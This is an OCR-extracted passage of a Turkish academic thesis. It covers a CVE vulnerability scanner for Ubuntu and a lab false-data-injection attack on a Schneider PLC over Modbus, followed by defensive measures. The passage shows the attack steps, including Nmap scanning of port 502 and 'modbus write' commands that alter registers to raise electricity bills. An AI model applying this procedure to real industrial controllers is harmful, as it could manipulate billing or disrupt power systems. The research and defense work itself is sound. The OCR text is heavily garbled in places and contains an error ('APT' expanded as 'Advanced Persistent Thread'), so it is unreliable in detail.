olarak kullanilir. Ayrica, giivenlik acig1 veritabanlarindan alinan giincel bilgilerle yerel

olarak normallestirilmis bir veritabani da olusturulur. Daha sonra bu veritabanindaki

zafiyetler ilk olusturulan uygulama listesiyle karsilagtirilir.
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Eslesen bir giivenlik ac1g1 tespit edildiginde kullanictya sms, e-posta dahil ¢esitli arayiizler
aracilifiyla bilgi verilir. Bu bilgiler, giivenlik agiginin ayrintilari, ciddiyeti ve yamasi
hakkinda yararli bilgiler igerir. Mitre.org, RedHat CVE, Exploit DB ve Rapid7 mevcut
zafiyetlerin sisteme yansidig1 ve en kisa stirede giincellendigi veritabanlari oldugundan bu

caligmada bu veritabanlar1 se¢ilmistir.

a R

Mitre.org
(Mitre, 2023)

RedHat CVE
Database
(Red Hat, 2023)

Ubuntu Sunucusu

4

Exploit DB

(Exploit Database,
/ 2023)

Tarayicl Rapid?
(RapidT, 2023)

Qstem Uzmani /

Sekil 3.15. Uygulama etkilesimi

SISTEM <

A4

Daha sonra iizerinde calistigi Ubuntu isletim sistemiyle etkilesime girer. Isletim sistemi
tizerinde kurulu olan paket ve kiitliphanelerin listesi APT (Advanced Persistent Thread)
1simli paket yoneticisi ile elde edilmektedir. Alinan paket adi ve siiriim bilgileri eslestirme
isleminde kullanilir. Bu eslestirme sonrasinda tespit edilen zafiyetler, dnemleri ve detayl
bilgileri uygulama hafizasinda saklanir. Uygulama eslestirme algoritmasin1 tamamladiktan
sonra formatlanmis bir yapida kullaniciya listelenir. Eslestirme sirasinda ilgili zafiyetin
CVE koduna gore yamaya iliskin a¢iklama kisimlarinda yer alan yonlendirmeler de bilgi
amagl kullanilabilecektir. Yamanin yeni bir siirimii yayinlanirsa kurulumu i¢in kullanici
destegi de gergeklestirilebilir. Uygulamanin calisti1 isletim sisteminin yani sira tarama
secenegi olarak SSH (Secure Shell) gibi giivenli baglanti protokolleri de
eklenebilmektedir. Bu sayede bircok sunucuda paralel tarama ozelligi uygulamaya
aliabilecektir. Sistemin belirli araliklarla otomatik olarak ¢alismasi i¢in zamanl yiiriitme
(cron) destegi ve uygulamanin sonu¢ ¢iktilarinin tanimlanan adrese e-posta olarak
gonderilebilmesi de eklenmistir. Yontem, bu tiir operasyonel siireclerden fayda saglayacak

yontemler incelenerek calismaya dahil edilebilecek esneklikte tasarlanmistir.
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Bu calismada RedHat CVE, Mitre, Exploit DB ve Rapid7 gibi zafiyet veritabanlar1 7/24
esasina gore cizilmis ve Ubuntu Isletim Sistemi iizerinde zafiyet taramasi yapilmistir. Bu
sayede saldirilarin en kisa siirede otomatik olarak tespit edilip engellenmesi, sistemin en az
hasarla kurtarilmasi ve/veya siirekli aktif tutulmasi amag¢lanmaktadir. Uygulamanin tespit
edilen zafiyetleri ve detaylar1 Sekil 3.16°da Ornek tarama ekraninda goriildigi gibi
listelenmektedir. CVE kodu, tespit siiresi, detayr ve erisim URL'si (Tekdiizen Kaynak
Bulucu) bilgileri bu sayfada gosterilmektedir.

yusuf@probook [09:57:28] [/home/project/scanner] [main]

None

None

Code: Publlcatlon Date: 2017-12-21T00:00:00Z Severity:

Ansible: two random password lookups in same return same value

https://access.r t.com/security/cve/CVE-2020-10729

[ansible-8:2.9.6-1.el8ae ansible-tower-36/ansible-tower:3.6.4-1 ansible-0:2.9.6-1.el7ae]

None

None

Publlcatlon Date 2020-09-03T00:00:00Z Severity:
p. unds write when validating segments
https: 35S .com/security/cve/CVE-2020-14382
[cryptsetup 0:2.2.0-2.el8_1.1 cryptsetup-0:2.3.3-2.el8 cryptsetup-0:2.2.2-1.el8_2.1]

None_
Sekil 3.16. Ornek tarama ekrani
Sekil 3.17'de tespit edilen bir zafiyetin icerigi incelendiginde CVE detaylari, yayn tarihi,

ciddiyeti ve detay bilgileri goriilebilmektedir. Ornegin sistemde tespit edilen “CVE-2021—
3450” kodlu OpenSSL ile ilgili giivenlik agig1 25 Mart 2021 tarihinde kamuoyuyla
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paylasilmisti. Onem acisindan yiiksek risk grubunda yer aliyor. Zafiyet analizi tarihi

itibartyla giincel bilgi olan 25 Mart'a kiyasla hizli bir sekilde 6nlem alma imkan1 sunuyor.

T  Severity:
openssl CA certxfxcate creck b,pas’ w1th x509 v FLho X509 STRICT

[]v.;S tomcat- nauvc 0 1.2. 25 1 redhat t el7)»s ]w;S tomcat-native-0:1.2.25-4.redhat 4.el8jws tomcat-native-0:1.2.23-24.redhat
4.ep7.el7 redhat-virtualization-host-8:4.4.5-20210330.0.¢18 3 openssl-1:1.1.1g-15.e18 3]

Sekil 3.17. CVE detaylar

Sekil 3.17'de konsol ekraninda belirtilen CVE detaylari, daha sonra detaylandirilacak olan

Elasticsearch entegrasyonu sayesinde Sekil 3.18'de gosterilen CVE web arayiizii ekraninda

goriilebilecek sekilde aktarilmistir.

Table JSON

t

_1d
_index

~score

_type

AffectedPackage

affectedversion

Code

Description

DetectionDate

PublicDate

Score

Severity

mySe03kBrugNRVApCR)

scanner

1

~doc

openssl

Multi fields

AffectedPackage. keyword: openssl

1.1.1

Multi fields

AffectedVersion. keyword: 1.1.1

CVE-2821-3450

Muilti fields

Code . keyward: CVE-20821-345@

openssl: CA certificate check bypass with X589_V_FLAG_X589_STRICT
Multi fields

Description.keyword: openssl: CA certificate check bypass with X589_V_FLAG_X589_STRICT
20821-85-85 18:12:89.858916588 +0308 +03 m=+27.4258208496

Multi fields

DetectionDate.keyword: 2821-85-85 18:12:09.958916508 +0300 483 m=+27.425828496
Mar 25, 2821 @ 03:80:00.098

7.4

Muilti fields

Score.keyword: 7.4

important

Sekil 3.18. CVE web arayiizii ekrani
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Onbellek sistemi, uygulamadaki yalnizca yeni giivenlik aciklarini gosterecek sekilde
tasarlanmigtir. CVE kodlar1 onbellek dosyasinda saklanir. Bir sonraki c¢alistirmada
tekrarlanan gosterimden kaginilir. Uygulama adi, aciliyeti ve zafiyet sayis1 Sekil 3.19'da
giivenlik agi1g1 tablosunda gosterildigi gibi raporlanmaktadir. Bu sekilde bulunan

zafiyetlerin genel bir rapor haline getirilmesi amaglanmaktadir.
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Important thundérbird

ansible

Sekil 3.19. Giivenlik a¢ig1 tablosu


https://link.springer.com/article/10.1007/s41870-021-00840-6/figures/6
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Bu 6zet tablosu Sekil 3.20'de goriildiigii gibi e-posta eki olarak gonderilmektedir. E-posta
uyart sistemi sayesinde, zamanli bir gorev olarak calisgan tarama sonucu hakkinda
kullanicinin bilgilendirilmesi amaglanmaktadir. Sekil 3.21 planlanmis agiklik incelemesi

ile bildirim yapilmistir.

Vulnerablility Report [58)
noreply@~""".com

202 Coar OB A7

Ime: YUSUT KOG OERVERN. QO <Y unu’ OO D Y vme COr -

SEVERITY PACHKAGE COUNT
Important thunderbird S
Important tolinaot 3
Important oponnsl 3 IJSE (r'-(HI'é:I’LE‘
Important patch =
Irmportant PP 1 MATI =% rio
PALL=LIUE
Low tepdump 21 SEP\.ED H‘JST:S"‘C.@',BI.UCC"
Low opoensnsl o
Low unzip o
Low Qottoxt 1
Moderate tecpdump 3
Modeaerate teinaet 1
Moderate patch 1
Moderatoe cryptaotup 1
Modeoerate openssl 1
Moderate fwupdate 1
Moderate unzip 1
Moderate ansible 1
Moderate thunderbird 1
TOTAL 58

Sekil 3.20. Agiklik 6zet raporunun e-posta gortiiniimii

= crontab

00 *** /bin/scanner > /tmp/scanner.log 2>&1

Sekil 3.21. Planlanmis agiklik incelemesi


https://link.springer.com/article/10.1007/s41870-021-00840-6/figures/7
https://link.springer.com/article/10.1007/s41870-021-00840-6/figures/8
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E-postalar her giin saat 00.00’da gonderilir. Uygulama zamanlanmis calisma destegine
sahiptir. Caligmada Sekil 25'de anlatildig1 gibi her giin sabah 00:00'da sistemin taranmasi
tanim1 yapilmistir. “Cron” altyapisi kullanildigindan saat formatinin “Cron” standartlarina

gore tanimlanmasi gerekmektedir.

Verilerin ekran c¢iktisinda saklanabilmesi i¢in NoSQL tabanli Elasticsearch destegi
eklenmistir. NoSQL veritabanlari, semadan bagimsiz olarak biiyilkk miktarda verinin
saklanmasina ve filtrelenmesine olanak saglayan veri tabanlaridir. Boylece zafiyetler
incelenip arsivlenebilir ve Sekil 3.22'deki gibi formatlanmis verilere ulasilabilir.
Elasticsearch entegrasyonu ile eski zafiyet kayitlarii arsivler, gelecek giincellemeler

sonrasinda tekrarlanma durumunu kontrol eder veya zafiyetleri giincel olarak listeler.

scanner® = Bahis
{1 Search Neld nemen At yeeFasea g Atiecrmiver sk G Barenrivy Rooe Cmtair prsan
?  ansible 294 ENE-DEIb-10 ok L] bl ks [ d Tond U -~
Flter by type @ W ny
o Bl Tty ? 1 erpprmstep 1.2.2 CNE-2370-14  modsrats 8 Tmat ' r
3
AfheCieER
________ - f L 1 ovE o ok 'l fu g f1l d L '] bsat
Heciechy B
G
fr— e L] VE-218-18 1o ] QETTeNTT coadle Tree 10 fef ] gt L mead-oatalog
gL
B
F] Cwaripmn 3 opeaxl 1.1 ONE-221R:07 ) 1 o L
34
[E
L CNE-201% 1 1.8 P L Tliw L 13 B84
w Avababi fries L] 1
Paprar 3 opeeexl 1,1, ENE-2371-34  imparsant 5.8 opeeaxl: WAL pointer derefersncs in sigrature_slgsrithes processieg
1 Deiectioabaie i
[ ] ? epenaal 1.1 ONE-Z1E-0? lem w1 opasasls timieg aldw charrel 010k In ke ECDEA algmiler
38
¥
1 e o 1 sE % moderate op wide-channel weab dary valrerability
L s
? opeeaxl 11 CNE-227% 1 ] haCeald-Fely h

Sekil 3.22. Elastik veri tabaninda saklanan gilivenlik agig1 raporu

Yukarida bahsedilen uygulamanin yetenekleri “.env” isimli bir konfigiirasyon dosyasinda

parametrik olarak tanimlanmaistir.

Bu e-posta ile dnbellek kullanimi ve Elasticsearch yapilandirmalar1 degistirilebilir. Bu
sayede son kullanicinin kendi ihtiyaclarina gore degisiklikleri uygulayabilmesi

hedeflenmektedir (Kocaman vd., 2022).

Siber gilivenlik alaninda en 6nemli tehditlerden biri iceriden saldiridir (Insider attack).
Parmak izi sistemlerinde de en 6nemli tehdit yetkili bir kisi tarafindan sisteme erisimdir.
Bu sayede saldirgan sistem iizerinde verileri calma, kopyalama ve ozellikle icerik

degistirme olarak adlandirilan yanlis veri ekleme (False Data Injection) saldirilarim


https://link.springer.com/article/10.1007/s41870-021-00840-6/figures/9
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gerceklestirebilir. Bunun sonucunda parmak izi dogrulama sistemine erisim saglanan bir
platformda yetkili kisiler sisteme erisemezken yetkisiz bir saldirgan sisteme eriserek

yetkisi dahilindeki tiim saldirilar1 gergeklestirebilecektir.

Sistem mimarisi, her elektrik tiiketicisinin akilli sayacindan alinan enerji tiikketimi ve ag
verilerinin, endiistriyel RF Modiilii (Kablosuz LAN) araciligiyla enerjiyi binaya ileten
dagitim transformatoriine iletilmesinden olusur. Son olarak veriler DNP 3.0 kullanilarak
PLC GSM modiilii (hiicresel iletisim) aracilifiyla merkezi izleme ve kontrol iinitesine
aktarilir. Ayrica sebeke ve santrallere ait spesifik verilerin IEC 61.850 protokolii ile
araylize aktarilarak daha sonra DNP 3.0 ile tekrar merkezi kontrol merkezine aktarilmasi

da ongoriiliiyor.

Hazirlanan test ortaminda veriler Modbus iletisim protokolii ve IEEE 802.11bg (Kablosuz
LAN) standard: tizerinden RF-Modiil kullanilarak merkezi birime aktarilmistir. Merkezden
gorsel izleme, uzaktan yiik kontrolii, faturalandirma ve veri tabaninda ge¢mise doniik veri
saklama iglemlerini gerceklestiren PLC-SCADA yazilimi1 uygulanmistir. Ayrica orijinal
web arayiizii internet iizerinden gercek zamanli fatura takibi yapilabilecek sekilde
tasarlanmistir. Kisaca laboratuvar ortamindaki tasarim, sistem mimarisindeki saldiri
bolgesine kadar olan katmanlari icerir. Boylece web sayfasina veya internet sunucusuna
saldirmaya gerek kalmadan sadece SCADA sisteminin RTU'suna saldirilarak tiim

faturalarin degistirilebileceginin gdsterilmesi amaglaniyor.

Test ortaminda kontrolor olarak kullanilan Schneider M241 PLC'ye igeriden biri tarafindan
asagida listelenen saldir1 prosediiriine gore FDI saldirisi gerceklestirilmis ve sonuglar
WEB, PLC program arayiizii (Somachine) ve SCADA arayiiziinde (Vijeo Citect)

gozlemlenmistir.

Kullanict ad1 ve sifre tanimlama:

PLC program arayiizii (Somachine) iizerinden igeriden gelebilecek saldirilar1 engellemek
amaciyla oncelikle cihaza ve araylize okuma/yazmay1 engelleyecek kullanici adi ve sifre
tanimlandi. Bu sayede kullanic1 ad1 ve sifre girilmeden program arayliiziinde yapilabilecek

tiim degisiklikler kullanictya kapatilmistir.
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Denetleyicinin IP adresinin belirlenmesi:

Bu asamada port 502 (Modbus iletisim Portu) Nmap ile taranarak kontroloriin IP adresi

belirlendi.

Cihaza 6zel bilgilerin yakalanmasi:

PLC'nin IP adresi belirlendikten sonra cihaza 6zel marka, model, seri numarasi gibi kritik

bilgiler ele gegirildi.

Acik kaynak istihbarati:

Cihazin (Schneider M241) marka modelinin bulunmasi sayesinde, marka modelinin
aciklarmin tespitine yonelik agik kaynak istihbarati yapilmistir. Arastirma sonucunda HMI,

iletisim protokolii ve web arayiizii agiklar1 belirlendi.

Saldir sifre korumasiyla/sifre korumasi olmadan yapilir:

Sekil 3.23'te goriildiigli gibi okuma/yazma sifresi korumasi olmayan PLC’ye yanlis veri
enjeksiyonu saldirisi ile cithazin hafiza adreslerinin (register) ve I/O dijital adreslerinin
(bobinlerinin) PLC cihazinin kullandigi Modbus haberlesme protokolii {izerinden
degistirilebilecegi belirlenmistir. Belirlenen zafiyetin ¢ok kritik ve Oncelikli olmasi
nedeniyle saldir1 analizinde bu zafiyetin kotiiye kullanilmasi {izerinde durulmustur.
Schneider PLC'lerde kullanici korumasi (okuma/yazma, salt okuma, indirme) sifre ile
artirtlabilir. Tk kurulumda kullanici agiklamalar varsayilan olarak kapalidir. Giivenlik
Onlemlerinin arttirilmasi i¢in sifre korumasiin yetkili kullanici tarafindan aktif hale
getirilmesi ve kullanici haklarinin diizenlenmesi gerekmektedir. Bu kapsamda saldirilarin
ilk asamasinda okuma/yazma korumasi olmayan ve sifreli PLC iizerinde analizler yapildi.
Daha sonra ayni analizler okuma/yazma korumasi olmayan ve Somachine arayiizii

lizerinden sifre ile aktif hale getirilen PLC {izerinde de gerceklestirildi.



67

INITIAL STATE OF COILS STATUS OF COILS AFTER ATTACKS
File Edit View Search Terminal Help File Edit View Search Terminal Help

TR

, --help print help root@kali:~# modbus write 10.10.86.205 %mwl02 30
root@ékali:~# modbus read 10.10.86.205 %mwl00 20 |root@kali:~# modbus read 10.10.86.205 %mwl00 20
%MW100 0 %MW100 0
BMW101 20 Mw101 20

fiivi102 EEN I | /102 30|
=

LMI103 LMW103 0
LMW104 0 %MW104 0
%MW105 64 AW105 64

L1106 0 LI 0A (0

Sekil 3.23. Okuma / yazma sifresi korumasi olmayan PLC'ye yanlis veri enjeksiyonu
saldiris1

Saldir1 analizleri sonucunda oncelikle bellek adreslerinin ve I/O dijital adreslerinin
durumlar korumasiz olarak okundu ve bu adreslerdeki degerlerin degistirilmesi i¢in bellek
adreslerine yeni degerler gonderildi. Sekil 28'de goriildiigi gibi %MW 102 hafizasindaki 16
bitlik dijital verinin degerleri degistirilebilmektedir. Yani igeriden birinin adresleme
haritasin1 ele gegirmesi halinde hedeflenen hafiza adreslerinin degistirilebilecegi

goriilmektedir.

Ozetle, kontroldriin (PLC) kayit adreslerini degistirmeye yonelik saldiri, Sekil 3.24’te
gosterilen igerideki adam saldirisi (Insider attack) ve yanlis veri enjeksiyonu (false data

injection) saldirilar akis semasina gore gerceklestirilmistir.
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BASLA

Ayni agdaki mevcut Schneider PLC'leri tespit
etmek icin 502 numarali baglant noktasinda
NMAP taramas: gerceklestir.

A4

Tarama sonucunda
PLC tespit edildi mi?

Yes

PLC/PLCs'ler ile baglantili
> acikliklar tespit etmek icin
acik kaynak bilgilerini topla.

Tespit edilen PLC/PLCs'nin, marka, model ve
seri numarasi gibi kritik bilgilerini ele gecir.

v

I¢ saldirgan (insider)
> tarafindan PLC'nin acik ve
kapali hafizasini olc.

Tespit edilen PLC/PLCs'lerin hafizasindaki
bilgileri oku ve analiz et.

- . o . o o - - o e e e e e e o e e
] 1
SALDIRI ; 1
ASAMASI
I 1
e e J S U P U o pR R |
e e S ——
! 1
1 v 1
1 — . - 1
Dedisebilen dedisik hafiza adreslerini kontrol et.
! 1
! No 1
: 1
1
4 I
: 1
= 1 1
GOZETLEME VE Adreslerde yapilan degisikligin
KONTROL ASAMASI 1 basarili olup olmadi§ina bak? 1
: 1
: 1
1 Yes I
: 1
' Saldin sonuclari I
1 web arayuzinden, ]
PLC program arayuzunden (somachine) No

i SCADA araylzunden ]
1 izleniyor mu? 1
! 1

Yes

Cikis

Sekil 3.24. igerideki adam saldiris1 (Insider attack) ve yanlis data enjeksiyonu (False Data
Injection) saldirilar1 akis semasi
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Okuma/yazma yetkisini kisitlamak i¢in PLC {izerinde sifre korumasi etkinlestirilerek ayni
analizler tekrarlandi. Sekil 3.25'te goriildiigli gibi okuma/yazma sifre korumali PLC’ye FDI
saldiris1, bellekteki degerlerin ve I/O dijital adreslerinin okunmasin1 ve durumlarinin

degistirilmesini etkilemedi ve degerler degistirilebilir.

Device User Logon % File Edit View Search Terminal Help
MW1l0
You are currently not authorized to perform this operation on the device. Mwlll
Please enter the name and password of an user account which has got the “MW112
sufficent rights

tMW113
“Mwll4
sMW115

MW116

Device Name MyControler (TM241CE<OTA

Device Address

sMW117
User Name: WMW118
MW119 0
Password: :~# modbus write 10.10.86.205 %mwle2 80
:~# modbus read 10.10.86.205 “mwl00 20
WMW108 [t}
TMwW101 20
Password Protection Cancel WMW102 80

wMw1e3 <)

Sekil 3.25. Okuma/yazma sifre korumali PLC'ye FDI saldirisi

Tasarlanan sistem ile sadece enerji tiikketim verilerinin izlenebildigi degil ayn1 zamanda
enerji akis kontroliiniin de saglanabildigi goéz oniline alindiginda, bellek saldirisinin

sonuclar1 hayati 6nem tasiyacaktir.

Calismanin saldir1 analizi akilli sehir/ag sistemleri iizerinde gergeklestirilmistir. Ancak
saldirtyr sadece akilli sehir veya akilli sebeke perspektifinden degerlendirmemek
gerekiyor. Ornegin bir niikleer santralde, reaktoriin ana sogutucu akiskan pompasinin
debisi i¢in verilen referans degerinin bu saldir1 ile degistirilmesi miimkiindiir. Bu agidan

niikleer santrale yapilacak bdyle bir saldirinin 6liimciil sonuglari olacaktir.

Saldirinin analizi yapilacak olursa, FDI saldirisiyla birlikte PLC'de %MW 1448 adresinde
degisken olarak tanimlanan ve igeriden birinin bildigi hafiza adresi degistirilerek fatura
maliyeti yiiksek seviyelere c¢ikarildi. Bu caligmada degisken global hafiza adresi, fatura
tilketim fiyatinin ilk endeks verisi olup operator tarafindan manuel olarak girilmektedir.
Stirekli olarak iizerine yazilabilen bir hafiza adresi olmayan bu ilk indeks degeri azaltilarak

tiiketim degeri artirildi. Bu sayede fatura bedeli artirildu.

PLC hafiza adresindeki degerin degismesiyle birlikte degisiklik SCADA, veritabani ve
WEB iizerinde anlik olarak gozlemlendi. Ornek olarak WEB'de fatura tiiketim fiyatinin
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degisimi Sekil 3.26'da gosterilmistir. WEB tasarimi tek kullaniciya yonelik prototip olarak
gerceklestirilmis ve elektrik tiikketim degerleri gercek zamanli olarak WEB'e yansitilmistir.

Lag Upcade 162244 1TV 1 00 Lagt Uty $605:18 9744 2004

Dus 121228 1212200 [PPSR PP TS
e | [81923482€] o “ [o992073982¢€
Capacive cumirt indes
Irdhtik Last nd bngen
Py Prcng
Uripce sl prco
Conmurgan cont [mp———

(@)

Sekil 3.26. a) Tiiketicinin gercek fatura maliyeti b) Saldir1 sonrasi artan fatura degeri

Vijeo Citect programinda tasarlanan SCADA ekranindaki ilk indeks degerlerinin siber
saldirt sonucu gergek zamanl degisimi Sekil 3.27'de verilmektedir.

Sekil 3.27. a) SCADA ilk endeks gergek degeri b) Saldir1 sonrast SCADA ilk endeks
degeri

Saldir1 sonrasinda elde edilen sonuglar dikkate alinarak, Modbus protokoliiniin
aciklarindan yararlanilarak enerji analizoriinden PLC-SCADA sistemine gergek zamanli

olarak gonderilen ag verileri manipiile edildi. Bu sayede sadece fatura tiiketim maliyeti
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degistirilmedi, ayn1 zamanda gii¢ akis kontroliinii saglayan tiim bobinler de degistirilerek

tiim sistemin kontrolii ele gegirildi.

Kayit ve bobinlerin degismesi sonucunda MTU (Ana Terminal Birimi) ve tiim RTU'lar
(Uzak Terminal Birimleri) saldirgan tarafindan kontrol edilebilmektedir. Bu saldirinin
gercek sebeke iizerinde gergeklesmesi durumunda, domino etkisi altinda birbirini
etkileyebilecek yiikk dengesizligi nedeniyle istenilen alanda kesinti veya kesintiler
yasanabilir ve tiim sebeke frekansinin ¢okmesine neden olabilir. Boyle bir senaryo, bir
bolgenin veya tiim iilkenin uzun siire enerjisiz kalmasina neden olacak ve Onemli
ekonomik sonuglara yol agacaktir. 2003 yilinda ABD'nin kuzeydogusunda yasanan elektrik
kesintisi, agin bir boliimiindeki kiiclik bir hatanin bile (kuzey Ohio'daki tek bir iletim
hattinin kesilmesi) kademeli bir etkiye sahip oldugunu ve milyarlarca dolarlik ekonomik

kayiplara neden oldugunu gosterdi (Liu ve digerleri, 2015).

Alnabilecek tedbirlere bakmak gerekirse, geleneksel aglarda siber saldirilara karsi alinan
onlemler kapsaminda IDS/IPS etkin olarak kullanilsa da ICS ve SCADA sistemleri igin

IDS/IPS'nin baz1 sinirlamalar1 bulunmaktadir. Bu sinirlamalari su basliklarda belirtebiliriz:

Iyi bilinen bir tehdit modelinin olmamast,

Yanlis alarm veya yanlis negatif olma olasiliginin yiiksek olmast,

ICS ortamlari i¢in 6zellestirilmis IDS sistemlerinin gelistirilmesi,

ICS'de canli sistem iizerinde kullanilacak izinsiz giris tespit ve Onleme yazilimlarinin

analiz edilebilmesi, sistem siirekliligine/kullanilabilirligine miidahale edebilir,

SCADA sistemleri i¢in 6zel olarak tasarlanmis, giriste belirtilen birkag veri toplama araci

ve metodolojisi bulunmaktadir (Rahman ve Mohsenian-Rad, 2012).

Dolayisiyla sisteme yapilacak bu tiir saldirilara karsi tasarim asamasindan itibaren bazi

Onlemler alinabilir.

Sistemlerin tasariminda hafiza adreslerinin stirekli yazilmasinin ¢alistirilmast,
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SCADA-PLC tasariminda log sisteminin aktif hale getirilerek syslog verilerinin

paylasilmasi ve giivenlik yoneticisine raporlanmast,

Di1s ve i¢ aglarin ayrilmasi ve i¢ aglarin gizlenmesi,

ICS agiin dogrudan internete baglanmamasi ve ag segmentasyonunun planlanmasi,

NAT/NPAT (Ag Adresi Cevirisi ve Ag Port Adresi Cevirisi) calistirilmast,

Sistemin donanim-yazilim tasarim bilgilerinin ve ICS yazilimindaki bellek haritasinin gizli

tutulmasi,

Sistem ana bilgisayarina veya agina saldir1 tespit sistemlerini kullanmak,

ICS aginin 6zellikle kritik olanlarin siirekli izlenmesi,

Bant genisligini korumak ve verileri onceliklendirmek amaciyla sistemde yonetilebilir

akilli ag anahtarlarinin kullanilmast,

Sistemin tiim cihazlarina (Sunucu, PLC, RTU, MTU vb.) yapilacak siber saldirilar1 tespit

etmek i¢in ajan yazilimlarin kullanilmasi.

Dogrudan yabanci yatirim saldirilarina karsi alinmasi gereken giivenlik dnlemleri yukarida
belirtilmistir. Ancak saldirinin basarisinin, saldirganin ICS'nin kayit topoloji haritasi gibi
kritik bilgilere sahip olmasiyla saglanabilecegi goz oOniine alindiinda, yetkilendirme,
kimlik dogrulama ve agin siirekli izlenmesinin 6nemi ortaya ¢ikiyor. Bu baglamda kimlik
dogrulama ve yetkilendirme icin Sekil 3.28'de gosterilen ICS giivenliginde LIFI ile bir
model onerilmektedir. Modelde ICS'nin kritik bilesenlerinin bulundugu yonetim merkezine
yalnizca fiziksel olarak kontrol edilen yetkili personel erisim saglar. Bu modelin
kullanilmasi1 halinde erisim yalnizca yetkili personel tarafindan saglanacaktir. Kisilerin
fiziksel anahtarlarla kontrolii kolaylasabilecegi i¢in igeriden gelebilecek saldirilara kars1 da

Onlem alinacak.
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T Donme

Sekil 3.28. ICS giivenliginde Lifi (151k iletisimi-Light Fidelity) kullanimi

Bu noktada 6nerilen s6z konusu modelin basarisi i¢in dogru ag bolimlemesi biiylik 6nem
tasimaktadir. Ag segmentasyonu dogru yapilmadigi takdirde aga sizma ihtimali ortaya
cikabilecek ve saldirganin kritik yonetim agina erisimi saglanarak yukarida bahsedilen

modelle alinan 6nlemler gecersiz olacaktir.

Her ne kadar birgok dnlem alinmis olsa da giivenlik yazilim ve donanimina ait alarmlarin
kontroliiniin en kritik unsur oldugu unutulmamali ve siirekli izlemenin dogru yapilmasi
gerekmektedir. Bu nedenle, FDI ve MitM gibi saldirilarla, aga miidahale edilerek verilerin
yetkisiz erisimine ve manipiilasyonuna karsi, siirekli izlenerek kritik verilerde (MAC, IP

vb.) herhangi bir degisiklik olmas1 durumunda alarm iiretilmesi kritiktir.

FDI saldirilarinda saldirganin ihtiyag duydugu en 6nemli bilgi enjeksiyon yapilacak
hafiza/bobin adreslerinin 6nceden belirlenmesidir. Bu sayede DoS/DDoS saldiris1 gibi
tarama saldirillar1 ile sistem dikkati dagitirken, saldirgan da amacma kisa siirede

ulagabilecektir. Bu nedenle saldirganin ya iceriden bir kisi tarafindan desteklenmesi ya da
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ihtiya¢ duydugu bilgiyi elde etmek i¢in miidahale saldirilarindan birini gerceklestirmesi

gerekmektedir.

Bu calismada aynalama teknigi kullanilarak sisteme ek yilik getirilmeden paket analizi
yapilabilmektedir. Bu sayede sistemdeki tiim yeni cihazlarin ve mevcut cihazlarin
bilgilerindeki (ARP ve IP haritalama) degisikliklerin (ARP ve IP haritalama) takibi icin
Arpwatch uygulamasi kullanildi. Degisikliklerin sistem kullanicilari/glivenlik yoneticileri
tarafindan daha kolay izlenebilmesi i¢in insan tarafindan okunabilen GUI arayiizii de
aciklandi. FDI saldirisinin ilk asamasi olan MitM, Layer 2/3 seviyesinde sistemdeki
degisiklikler takip edilerek takip edilebilmektedir. MitM gerceklestirilemedigi i¢in FDI
saldiris1 saldirgan agisindan oldukga zor olacak ve saldirinin hafiza adresinin alinmasi zor
olacagindan gergeklestirilmesi miimkiin olmayacaktir. Sekil 3.29 ve Sekil 3.30°da siirekli
izleme i¢in meydana gelen degisikliklerden sonra olusturulan alarmlar GUI'de

gortintiilenir. Bu, 7/24 siirekli izlemeyi kolaylagtiracaktir.

{  Event

y Apr 27 22:11:50 ubuntu arpwatch: flip flop 192.168.0.4 00:0¢:29:13:99:€5 (00:1¢:06:06:10:11) ens33

y Apr 27 22:11:50 ubuntu arpmatch: flip flop 192.168.0.4 00:1¢:06:06:10:11 (00:0¢:29:13:99:e5) ens33

> Apr 27 22:11:50 ubuntu arpmatch: flip flop 192.168.0.4 00:0¢:29:73:99:¢5 (00:1¢:06:06:10:11) ens33

y Apr 27 22:00:14 ubuntu arpwatch: flip flop 192.168.0.1 00:04:1b:14:04:36 (00:0¢:29:13:99:e5) ens33

y Apr 27 22:00:14 ubuntu arpmatch: ethernet mismatch 192.168.0.1 00:0c:29:72:99:e5 (00:04:1b:14:04:35) ens33
> Apr 27 22:00:13 ubuntu arpmatch: ethernet miseatch 192,168.0.1 00:0¢:29:73:99:€5 (00:04:1b:14:04:35) ens33
y Apr 27 22:00:12 ubuntu arpwatch: ethernet mismatch 192.168.0.1 00:0¢:29:13;99:@5 (00:04:1b:14:04:36) ens33
y Apr 27 22:00:12 ubuntu arpwatch: flip flop 192.168.0.1 00:0¢:29:13:99:e5 (00:04:1b:14:04:36) ens33

Sekil 3.29. ARP uyarisi i¢in giivenlik bilgisi ve olay yonetimi (SIEM)

495 Nis 8 Arpwatch ubuntu (1K) flip flop (192.168.0.1) ens33

496 Nis 8 Arpwatch ubuntu (1K) flip flop (192.168.6.4) ens33

497 Nis 8 Arpwatch ubuntu (1K) flip flop (192.168.0.4) ens33

498 Nis 8 Arpwatch ubuntu (1K) flip flop (192.168.0.1) ens33

499 Nis 8 Arpwatch ubuntu (1K) flip flop (192.168.6.1) ens33

500 Nis 8 Arpwatch ubuntu (891) new station (192.168.0.5) ens33

501 Nis 8 Arpwatch ubuntu (883) new station (192.168.0.5) ens33

502 Nis 8 Arpwatch ubuntu 866) new station (192.168.10.8) ens33

Arpwatch ubuntu (1K) changed ethernet address (192.168.0.

\l 504 20:57 To: root@ubuntu.lo (2K) Cron <root@ubuntu> /opt/splunk/bin/s
Wl 505 21:40 Arpwatch ubuntu (869) new station (192.168.10.16) ens33

Sekil 3.30. ARP uyarilar
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Ote yandan, ajan yaziliminin tiim cihazlara entegrasyonu, cihazlarin kontrol gérevlerini
gerceklestirmesini kisitlayabilir veya engelleyebilir. Bu nedenle ya kontrol yaziliminin
bagimsiz olarak ¢alismasi gerekiyor ya da araci yazilimin yonetilebilir akilli ag
anahtarlarinda bulunmasi gerekiyor. Anlasilacag: iizere sistem mimarisi tasarlanirken hem
yazilim hem de donanim giivenligi 6nlemlerinin alinmasi ve otomasyon tasarimcilarinin bu

hususlar1 dikkate almas1 gerekmektedir.

Yukarida belirtilen 6nlemlere ek olarak, siber giivenlikte insan faktoriiniin en zayif halka
oldugu ve saldirinin igeriden biri tarafindan gerceklestirildigi dikkate alinarak "bilinmesi
gereken" ve "en az bilinmesi" ilkeleri dikkate alinmalidir (Sindiren ve Ciylan, 2019; G6nen
vd., 2020).

Tiim sistemlerde oldugu gibi Parmak izi uzman sistemlerinde sistem giivenligini arttiran
onemli bilesenlerden biriside parola giivenligidir. Bu nedenle parola giivenligine iliskin
gerceklestirilen saldirilar ve analizi balkiipli metodu ile onerilmistir (Sekil 3.31). Snort'un
gelistiricisi Roesch'in ortaya koydugu Balkiipii taniminda Balkiipleri, Uretim Balkiipii veya
